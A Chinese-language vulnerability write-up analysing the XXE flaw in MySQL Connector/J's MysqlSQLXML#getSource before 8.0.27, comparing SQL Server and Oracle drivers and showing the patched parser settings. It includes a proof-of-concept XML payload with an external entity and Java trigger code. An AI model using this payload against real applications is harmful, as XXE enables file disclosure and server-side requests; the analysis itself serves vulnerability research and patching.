前言     最近 JDBC爆了一个XXE漏洞,很久没有分析漏洞了,趁着周末没事分析下这个漏洞。
分析 
10月21日,”阿里云应急响应”公众号发布Oracle Mysql JDBC存在XXE漏洞,造成漏洞的原因主要是因为getSource方法未对传入的XML格式数据进行检验。导致攻击者可构造恶意的XML数据引入外部实体。造成XXE攻击。
影响版本: < MySQL JDBC 8.0.27
 
    漏洞影响版本在8.0.27以下,并且修复的是一个XXE漏洞,所以我们可以在github上对比提交记录快速找到漏洞点 。漏洞主要在MysqlSQLXML中,可以看到新版本在解析XML前加上了一些防御XXE的方法。
    搭建8.0.26环境后,查看MysqlSQLXML#getSource方法,这里为了能看起来更直观,我忽略了大部分代码,getSource根据传入class类型的不同做返回不同的Source,返回其他source并没有解析XML,但在处理DomSource时,通过builder.parse对inputSource的内容进行解析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public  <T extends Source> T getSource (Class<T> clazz)  throws  SQLException  {     ...        if  (clazz == null  || clazz.equals(SAXSource.class)) {     ...            return  (T) new  SAXSource(inputSource);        } else  if  (clazz.equals(DOMSource.class)) {            try  {              ...                return  (T) new  DOMSource(builder.parse(inputSource));            }             ...        } else  if  (clazz.equals(StreamSource.class)) {          ...            return  (T) new  StreamSource(reader);        } else  if  (clazz.equals(StAXSource.class)) {          ...                return  (T) new  StAXSource(this .inputFactory.createXMLStreamReader(reader));          ... 
    我们再看看DOMSource部分的具体实现,并没有在parse前做防护处理,并且inputSource可以由this.stringRep参数控制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 try  {    DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();     builderFactory.setNamespaceAware(true );     DocumentBuilder builder = builderFactory.newDocumentBuilder();     InputSource inputSource = null ;     if  (this .fromResultSet) {         inputSource = new  InputSource(this .owningResultSet.getCharacterStream(this .columnIndexOfXml));     } else  {         inputSource = new  InputSource(new  StringReader(this .stringRep));     }     return  (T) new  DOMSource(builder.parse(inputSource)); 
    而在setString中为stringRep属性赋值,所以此处可以造成XXE漏洞。
1 2 3 4 5 6 7 public  synchronized  void  setString (String str)  throws  SQLException     checkClosed();     checkWorkingWithResult();     this .stringRep = str;     this .fromResultSet = false ; } 
    但是分析到这里就结束了吗?我认为要真正了解这个漏洞,还需要解决下面的几个问题:
MysqlSQLXML的功能是什么?为什么getSource中会解析XML?为什么只有DomSource会进行parse,其他的没有?在什么样的场景下会调用MysqlSQLXML#getSource? 
为什么只在MYSQL的SQLXML中出现了问题?其他数据库的SQLXML没有漏洞吗? 
 
思考     要理清上面的问题,首先我们得了解SQLXML是什么东西,为什么要引入它。
SQLXML     在开发的过程中,可能会需要在数据库中存储和检索XML文档,因此引入了SQLXML类型,SQLXML提供了 String、Reader、Writer 或 Stream 等多种形式访问XML值的方法。
getBinaryStream  以流的形式获取此 SQLXML 实例指定的 XML 值。getCharacterStream  以 java.io.Reader 对象的形式获取此 SQLXML 实例指定的 XML 值。getString  返回此 SQLXML 实例指定的 XML 值的字符串表示形式。 
我们可以通过ResultSet、CallableStatement 、PreparedStatement 中的getSQLXML方法获取SQLXML对象。
1 2 SQLXML sqlxml = resultSet.getSQLXML(column); InputStream binaryStream = sqlxml.getBinaryStream(); 
    再通过XML解析器解析XML
1 2 3 4 5 DocumentBuilder parser = DocumentBuilderFactory.newInstance().newDocumentBuilder(); Document result = parser.parse(binaryStream); SAXParser parser = SAXParserFactory.newInstance().newSAXParser(); parser.parse(binaryStream, myHandler); 
    除了上述的处理方式外,也可以getSource和setResult直接进行XML处理,而不需要转换成流并调用解析器解析XML。
    比如直接对DOM Document Node进行操作。
1 2 3 4 5 6 DOMSource domSource = sqlxml.getSource(DOMSource.class); Document document = (Document) domSource.getNode(); DOMResult domResult = sqlxml.setResult(DOMResult.class); domResult.setNode(myNode); 
    或者通过sax解析
1 2 3 4 SAXSource saxSource = sqlxml.getSource(SAXSource.class); XMLReader xmlReader = saxSource.getXMLReader(); xmlReader.setContentHandler(myHandler); xmlReader.parse(saxSource.getInputSource()); 
为什么DOMSource会出现问题?     首先我们看下当调用getSource时,不同类型的返回Source的代码。
1 2 3 4 return  (T) new  SAXSource(inputSource);return  (T) new  DOMSource(builder.parse(inputSource));return  (T) new  StreamSource(reader);return  (T) new  StAXSource(this .inputFactory.createXMLStreamReader(reader));
    不同的Source为什么接收的数据类型不相同,这里需要了解不同的解析方式。
DOM:DOM是以层次结构组织的节点或信息片断的集合。这个层次结构允许开发人员在树中寻找特定信息。分析该结构通常需要加载整个文档和构造层次结构 ,然后才能做任何工作。
SAX:SAX是一种基于流的推分析方式 的XML解析技术,分析能够立即开始,而不是等待所有的数据被处理,应用程序不必解析整个文档 ;
StAX:StAX就是一种基于流的拉分析式 的XML解析技术,只把感兴趣的部分拉出,不需要触发事件。StAX的API可以读取和写入XML文档。使用SAX API,XML可以是只读的。
 
推模型 :就是我们常说的SAX,它是一种靠事件驱动的模型。当它每发现一个节点就引发一个事件,而我们需要编写这些事件的处理程序。这样的做法很麻烦,且不灵活。
拉模型 :在遍历文档时,会把感兴趣的部分从读取器中拉出,不需要引发事件,允许我们选择性地处理节点。这大大提e高了灵活性,以及整体效率。
 
    从Dom解析的特性来讲,必须一次性将Dom全部加载到内存中才能操作,而不是像其他类型,可以在使用时再去处理,因此在构建DomSource对象时需要先将Dom先整体解析后才能使用。
如何触发漏洞?     之前已经分析过一种方式,直接通过setString设置即可触发,下面是广为流传的POC
1 2 3 4 5 6 7 8 9 10 11 String poc = "<?xml version=\"1.0\" ?>\n"  +               "<!DOCTYPE r [\n"  +               "<!ELEMENT r ANY >\n"  +               "<!ENTITY sp SYSTEM \"http://127.0.0.1:4444/test.txt\">\n"  +               "]>\n"  +               "<r>&sp;</r>" ;       Connection connection =               DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/test" , "root" ,"xxxxx" );       SQLXML sqlxml = connection.createSQLXML();       sqlxml.setString(poc);       sqlxml.getSource(DOMSource.class); 
    虽然上面的方式确实可以触发漏洞,但是我觉得在真实环境中应该不会有人这么写,所以我们应该思考下有没有其他的方式触发漏洞? 
    我们结合一下SQLXML的使用场景,是在操作数据库中的XML数据而产生的,所以正常情况下应该是操作数据库中的XML数据而导致的XXE漏洞 。所以我认为下面的POC更符合真实场景,其中DataXML字段中保存着我们的payload。
1 2 3 4 5 6 7 8 Connection connection =DriverManager.getConnection("jdbc:mysql://192.168.3.16:3306/test666" , "root" ,                    "cangqing<>?" );    String sql = "SELECT DataXML from config" ;    Statement stmt = connection.createStatement();    ResultSet rs = stmt.executeQuery(sql);    rs.next();    SQLXML xml=rs.getSQLXML("DataXML" );    DOMSource=xml.getSource(DOMSource.class); 
是否由其他方式会导致漏洞?     我们还是看getSource方法,当内容为SAXSource直接将InputSource作为参数传给了SaxSource,所以从这来看没有明显的问题。
1 2 3 4 5 6 7 8 if  (clazz == null  || clazz.equals(SAXSource.class)) {       InputSource inputSource = null ;        if  (this .fromResultSet) {            inputSource = new  InputSource(this .owningResultSet.getCharacterStream(this .columnIndexOfXml));        } else  {            inputSource = new  InputSource(new  StringReader(this .stringRep));        }        return  (T) new  SAXSource(inputSource); 
    这里创建SAXSource并没有设置XmlReader,因为设置XML解析防御的策略在XmlReader中,所以看不出来是否存在漏洞。
    再看看StAXSource,这里是否会导致漏洞取决于this.inputFactory属性中保存的XMLInputFactory对象,但是虽然MysqlSQLXML中有inputFactory属性,但是并没有设置这个属性的方法或者操作,而是否在开启XXE的防御是在XMLInputFactory对象中设置的,所以这里也看不出来是否有漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 } else  if  (clazz.equals(StAXSource.class)) {             try  {                 Reader reader = null ;                 if  (this .fromResultSet) {                     reader = this .owningResultSet.getCharacterStream(this .columnIndexOfXml);                 } else  {                     reader = new  StringReader(this .stringRep);                 }                 return  (T) new  StAXSource(this .inputFactory.createXMLStreamReader(reader));             } catch  (XMLStreamException ex) {                 SQLException sqlEx = SQLError.createSQLException(ex.getMessage(), MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, ex, this .exceptionInterceptor);                 throw  sqlEx;             } 
为什么SQLSERVER和ORACLE的数据库连接没问题? mssql-jdbc     首先看mssql-jdbc是怎么处理的,主要逻辑在SQLServerSQLXML#getSource中,判断类型是否为SteamSource,如果不是则调用getSourceInternal处理。getSourceInternal根据不同的类型调用不同的处理方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public  <T extends Source> T getSource (Class<T> iface)  throws  SQLException  {        this .checkClosed();         this .checkReadXML();         if  (null  == iface) {             T src = this .getSourceInternal(StreamSource.class);             return  src;         } else  {             return  this .getSourceInternal(iface);         }     }     <T extends Source> T getSourceInternal (Class<T> iface)  throws  SQLException  {         this .isUsed = true ;         T src = null ;         if  (DOMSource.class == iface) {             src = (Source)iface.cast(this .getDOMSource());         } else  if  (SAXSource.class == iface) {             src = (Source)iface.cast(this .getSAXSource());         } else  if  (StAXSource.class == iface) {             src = (Source)iface.cast(this .getStAXSource());         } else  if  (StreamSource.class == iface) {             src = (Source)iface.cast(new  StreamSource(this .contents));         } else  {             SQLServerException.makeFromDriverError(this .con, (Object)null , SQLServerException.getErrString("R_notSupported" ), (String)null , true );         }         return  src;     } 
getDOMSource 这里确实也会解析Document,但是在解析前设置了secure-processing,这里应该是防御了XXE漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18     private  DOMSource getDOMSource ()  throws  SQLException          Document document = null ;         DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();         MessageFormat form;         Object[] msgArgs;         try  {             factory.setFeature("http://javax.xml.XMLConstants/feature/secure-processing" , true );             DocumentBuilder builder = factory.newDocumentBuilder();             builder.setEntityResolver(new  SQLServerEntityResolver());             try  {                 document = builder.parse(this .contents); ...             DOMSource inputSource = new  DOMSource(document);             return  inputSource;         ...     } 
getSAXSource     getSAXSource在创建SAXParserFactory 后并没有设置属性来进行安全操作,因此这种方式可能会存在漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private  SAXSource getSAXSource ()  throws  SQLException     try  {         InputSource src = new  InputSource(contents);         SAXParserFactory factory = SAXParserFactory.newInstance();         SAXParser parser = factory.newSAXParser();         XMLReader reader = parser.getXMLReader();         SAXSource saxSource = new  SAXSource(reader, src);         return  saxSource;     } catch  (SAXException | ParserConfigurationException e) {         MessageFormat form = new  MessageFormat(SQLServerException.getErrString("R_failedToParseXML" ));         Object[] msgArgs = {e.toString()};         SQLServerException.makeFromDriverError(con, null , form.format(msgArgs), null , true );     }     return  null ; } 
    虽然单纯从getSAXSource函数中并没有直接解析,但是用户在使用下面的代码时,则默认会导致XXE漏洞。
1 2 3 4 5 SQLXML xmlVal= rs.getSQLXML(1 ); SAXSource saxSource = sqlxml.getSource(SAXSource.class); XMLReader xmlReader = saxSource.getXMLReader(); xmlReader.setContentHandler(myHandler); xmlReader.parse(saxSource.getInputSource()); 
    虽然看起来是有问题的,但当我通过SQLSERVER创建XML类型数据并插入payload时,却爆了不允许使用内部子集 DTD 分析 XML。请将 CONVERT 与样式选项 2 一起使用,以启用有限的内部子集 DTD 支持。在SQLSERVER插入XML类型数据时中不允许使用DTD,所以无法插入恶意的payload。所以后面的解析方式也可以不看了,无法造成XXE漏洞 。
oracle-ojdbc     查了下资料似乎没有找到关于SQLXML的支持,所以自然也不存在漏洞。
漏洞修复  mysql jdbc 8.0.27修复了该漏洞,修复方式如下:
DOMSource     DOMSource解析前加上了开启了防御,所以解决了这个漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if  (clazz.equals(DOMSource.class)) {                    try  {                         DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();                         builderFactory.setNamespaceAware(true );                         setFeature(builderFactory, "http://javax.xml.XMLConstants/feature/secure-processing" , true );                         setFeature(builderFactory, "http://apache.org/xml/features/disallow-doctype-decl" , true );                         setFeature(builderFactory, "http://xml.org/sax/features/external-general-entities" , false );                         setFeature(builderFactory, "http://xml.org/sax/features/external-parameter-entities" , false );                         setFeature(builderFactory, "http://apache.org/xml/features/nonvalidating/load-external-dtd" , false );                         builderFactory.setXIncludeAware(false );                         builderFactory.setExpandEntityReferences(false );                         builderFactory.setAttribute("http://javax.xml.XMLConstants/property/accessExternalSchema" , "" );                         DocumentBuilder builder = builderFactory.newDocumentBuilder();                         return  new  DOMSource(builder.parse(this .fromResultSet ? new  InputSource(this .owningResultSet.getCharacterStream(this .columnIndexOfXml)) : new  InputSource(new  StringReader(this .stringRep))));                     } catch  (Throwable var5) {                         sqlEx = SQLError.createSQLException(var5.getMessage(), "S1009" , var5, this .exceptionInterceptor);                         throw  sqlEx;                     } 
SAXSource     这里也发生了改变,之前分析8.0.26版本时,并没有创建XMLReader,所以没有漏洞,在更新中创建了XmlReader并进行了安全设置。
1 2 3 4 5 6 7 8 9 10 11 12 try  {                   XMLReader reader = XMLReaderFactory.createXMLReader();                    reader.setFeature("http://javax.xml.XMLConstants/feature/secure-processing" , true );                    setFeature(reader, "http://apache.org/xml/features/disallow-doctype-decl" , true );                    setFeature(reader, "http://apache.org/xml/features/nonvalidating/load-external-dtd" , false );                    setFeature(reader, "http://xml.org/sax/features/external-general-entities" , false );                    setFeature(reader, "http://xml.org/sax/features/external-parameter-entities" , false );                    return  new  SAXSource(reader, this .fromResultSet ? new  InputSource(this .owningResultSet.getCharacterStream(this .columnIndexOfXml)) : new  InputSource(new  StringReader(this .stringRep)));                } catch  (SAXException var7) {                    sqlEx = SQLError.createSQLException(var7.getMessage(), "S1009" , var7, this .exceptionInterceptor);                    throw  sqlEx;                }